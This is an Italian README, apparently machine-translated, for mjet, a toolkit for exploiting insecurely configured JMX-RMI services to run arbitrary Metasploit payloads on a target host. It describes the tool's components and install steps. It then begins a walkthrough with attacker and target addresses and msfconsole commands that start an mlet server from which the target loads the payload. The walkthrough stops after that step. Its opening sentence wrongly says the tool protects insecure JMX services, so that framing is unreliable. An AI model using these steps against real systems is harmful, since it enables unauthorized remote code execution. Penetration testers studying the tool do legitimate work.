mjet

Mogwai Security Java Management Extensions (JMX) Exploitation Toolkit

mjet è uno strumento che può essere utilizzato per proteggere servizi JMX configurati in modo insicuro. Si basa sul post del blog "Exploiting JMX-RMI" di Braden Thomas/Accuvant "http://www.accuvant.com/blog/exploiting-jmx-rmi" e può essere utilizzato per eseguire payload Metasploit arbitrari sul sistema target.

Mjet era originariamente pensato per essere un toolkit di attacco completo, tuttavia abbiamo notato che il repository Github di Metasploit contiene una pull request che fornirà il supporto di base per Java RMI/serializzazione in ruby nativo. Questo è fantastico e rimuove la dipendenza da Java. Quindi abbiamo smesso di sviluppare questo strumento e creeremo moduli metasploit nel prossimo futuro.

mjet è composto dalle seguenti parti:

• Un modulo metasploit che emula un "mlet Server". Si tratta fondamentalmente di un web server che ospita un file html contenente un tag mlet
• Un ManagedBean che viene modificato dal modulo mlet server per includere il payload selezionato
• Un archivio jar che viene utilizzato per contattare il servizio JMX insicuro.

Installazione (con la versione github di Metasploit)

• Copiare la cartella "MBean" in "data/java/metasploit"
• Copiare java_mlet_server.rb in "modules/exploits/multi/misc/"

Utilizzo

L'esempio utilizza i seguenti sistemi: attaccante: 192.168.178.1 target: 192.168.178.200, servizio JMX in esecuzione sulla porta tcp 1616

• Configurare/avviare il modulo metasploit "java_mlet_server". Il modulo verrà eseguito come job in background

msf > use exploit/multi/misc/java_mlet_server
msf > set LHOST 192.168.178.1
msf > set SRVHOST 192.168.178.1
msf > set URIPATH /mlet/
msf > run